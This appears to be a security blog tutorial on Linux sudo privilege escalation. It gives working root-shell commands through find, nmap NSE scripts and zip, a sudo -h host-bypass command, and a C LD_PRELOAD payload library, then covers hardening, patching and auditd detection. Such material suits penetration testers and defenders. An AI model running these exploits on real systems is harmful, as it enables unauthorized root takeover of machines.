The key to a low-privileged user gaining instantaneous root access on a Linux system often lies within a single command: sudo. Designed to delegate limited administrative tasks, this mechanism frequently becomes an attacker's most potent weapon due to misconfigurations or inherent binary vulnerabilities.
In a penetration test or Red Team operation, your first command after gaining initial access is almost certainly: sudo -l. This reveals precisely which commands you are authorized to run and with what privileges. If that list contains the "wrong" binary, the door to the kingdom is open. ποΈ
This article dissects how authorized, restricted commands (GTFOBins) can be weaponized to yield a full root shell, alongside less common yet powerful advanced vectors like LD_PRELOAD manipulation. Remember: security begins with understanding the limits of what is permitted.
Section 1: Bypassing Restrictions with GTFOBins (T1548.003)
GTFOBins is a catalog of Linux binaries that, while often allowed to run with sudo, can be tricked into executing arbitrary code with root privileges. When an administrator grants permission only for "harmless" tools like /usr/bin/find, they may be unknowingly exposing a critical vector for full privilege escalation.
Security managers assume the Principle of Least Privilege is upheld by restricting command names, but fail to account for the inherent, powerful capabilities of those binaries (e.g., shell invocation or file manipulation).
1.1. find: Find the Shell, Execute the Command π₯
The find utility is used for searching the filesystem, but its -exec argument allows it to execute an arbitrary command on every result it finds. If you have permission to run find via sudo, this capability immediately transforms into a privilege escalation vector.
Attack Scenario: Assume the following rule exists in the sudoers file:
# Victim: user1 ALL=(root) /usr/bin/findExploit Payload (Root Shell):
# Start find with root privileges and force execution of a privileged shell
sudo find. -exec /bin/sh -p \; -quitThis command makes find not give up root privileges and runs /bin/sh -p (privileged shell) with exec, giving you immediate root access.
1.2. nmap: The Insidious Power of Interactive Mode βοΈ
nmap is a common tool used for network mapping. Its interactive shell mode in older versions (v2.02 to v5.21) can be exploited to launch a full root shell.
Attack Scenario: Permission to run nmap as root is available.
# Victim: user1 ALL=(root) /usr/bin/nmapExploit Payload (NSE Scripting):
- Create a simple NSE script (
/tmp/rootme.nse) to execute a shell:
echo 'os.execute("/bin/bash")' > /tmp/rootme.nse2. Execute the script with privileged Nmap:
sudo nmap --script /tmp/rootme.nse1.3. zip: Injection via Test Functions πΎ
The zip utility can be forced to execute commands using a combination of its test mode (-T) and temporary file template manipulation (-TT), providing a stealthy path to privilege escalation.
Exploit Payload (zip Shell Injection):
# 1. Create a unique temporary filename
TF=$(mktemp -u)
# 2. Run zip (as root) in test mode, using 'sh #' to inject and execute a shell
sudo zip $TF /etc/hosts -T -TT 'sh #'
# 3. Clean up the temporary file
sudo rm $TFThis command tricks zip into invoking the sh shell during its testing process, successfully bypassing the command restriction.
Section 2: Advanced Vectors: Logic and Environment Variables π§
If simple GTFOBins are not available, sophisticated attackers target Sudo's internal logic or dynamic linking mechanisms to ensure a clean, difficult-to-detect escalation.
2.1. Sudo Host Bypass Vulnerability (Logical Exploitation)
A recent, high-profile logical vulnerability (CVE-2025β32462) demonstrated the catastrophic effect of exploiting Sudo's internal rule-parsing logic. The flaw centered on Sudo's incorrect handling of the -h (--host) argument .
Mechanism: Sudoers files often contain host-based restrictions. For instance, a user might be denied root access on a production server (PROD.test.local) but granted NOPASSWD root access on a development server (DEV.test.local). By invoking the command with the -h flag, an attacker can trick Sudo into evaluating the rules as if the command were being run on the privileged target (DEV.test.local), effectively granting root access on the local (production) machine.
Exploit Command (LPE on Production Server):
# Force Sudo to apply rules defined for 'dev.test.local'
sudo -h dev.test.local -iThis grants a new interactive root session (-i) locally, provided the target host's rules were less restrictive. This vulnerability underscores the necessity of patching Sudo to version v1.9.17p1 or later .
2.2. LD_PRELOAD Hijacking the Execution Flow π£
The LD_PRELOAD environment variable controls which shared libraries (.so files) are loaded before dynamic programs execute. This is a potent vector for privilege escalation and persistence.
Prerequisite: Sudo, by default, clears dangerous environment variables (env_reset). This attack requires the /etc/sudoers configuration to explicitly allow or preserve LD_PRELOAD using the env_keep directive.
Exploit Payload (Shared Library Injection):
- Write and Compile the Malicious Library (
/tmp/libpayload.so):
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
// Function executed immediately when the library is loaded
void __attribute__((constructor)) init() {
setuid(0); // Set effective UID to root
setgid(0); // Set effective GID to root
system("/bin/bash"); // Execute a root shell
}
# Compile the C code as a shared object
gcc -shared -o /tmp/libpayload.so payload.c2. Execute the Attack: Use any permitted sudo command (e.g., /usr/bin/pkexec) to load the malicious library with root privileges .
# Inject the payload before the authorized root command executes
sudo LD_PRELOAD=/tmp/libpayload.so /usr/bin/idThe library loads with root privileges before the authorized command runs, executing the shell and bypassing any restrictions placed on the actual command itself.
Section 3: Defense and Detection Strategies (Blue Team) π‘οΈ
Effective defense against Sudo privilege escalation requires a layered, proactive approach focusing on hardening, monitoring, and patch management.
3.1. Sudo Hardening and Best Practices
- Enforce Absolute Paths and
visudo: Always define authorized commands using absolute paths (e.g.,/usr/bin/find) and use thevisudocommand to edit/etc/sudoersto prevent syntax errors that could lock the system or introduce unintended privileges. - Strictly Control Environment Variables: Ensure that
LD_PRELOAD,LD_LIBRARY_PATH, and other dangerous variables are not preserved byenv_keepin thesudoersfile. - Patch Sudo Urgently: Treat Sudo vulnerabilities (e.g., CVE-2025β32462) as critical, high-risk flaws. Immediate patching to the latest stable version (v1.9.17p1 or later) is mandatory to mitigate logical bypass vulnerabilities .
3.2. Advanced Threat Detection with Auditd π¬
Traditional logging often misses GTFOBins attacks. The Linux Auditing System (auditd) must be configured to monitor the underlying system calls.
The most effective detection method for shell spawning from non-shell binaries (like find or nmap) is to monitor the execve system call when executed with root effective privileges (euid=0).
Example Auditd Rule (Monitor Root Shell Spawning):
# Monitor all execution calls by effective root user (euid=0)
-a always,exit -F arch=b64 -S execve -F euid=0 -k root_shell_spawnBy correlating log entries from this rule with the parent process, security teams can detect when a binary that is not a shell attempts to launch /bin/sh or /bin/bash as root.
3.3. Privilege Control (PoLP)
Beyond technical controls, rigorously adhere to the Principle of Least Privilege: only grant the bare minimum permissions necessary. Regularly audit the usage of NOPASSWD and the membership of the sudo or wheel groups. The greater the number of commands a user can run with root privileges, the higher the probability that one of them is a usable GTFOBin vector.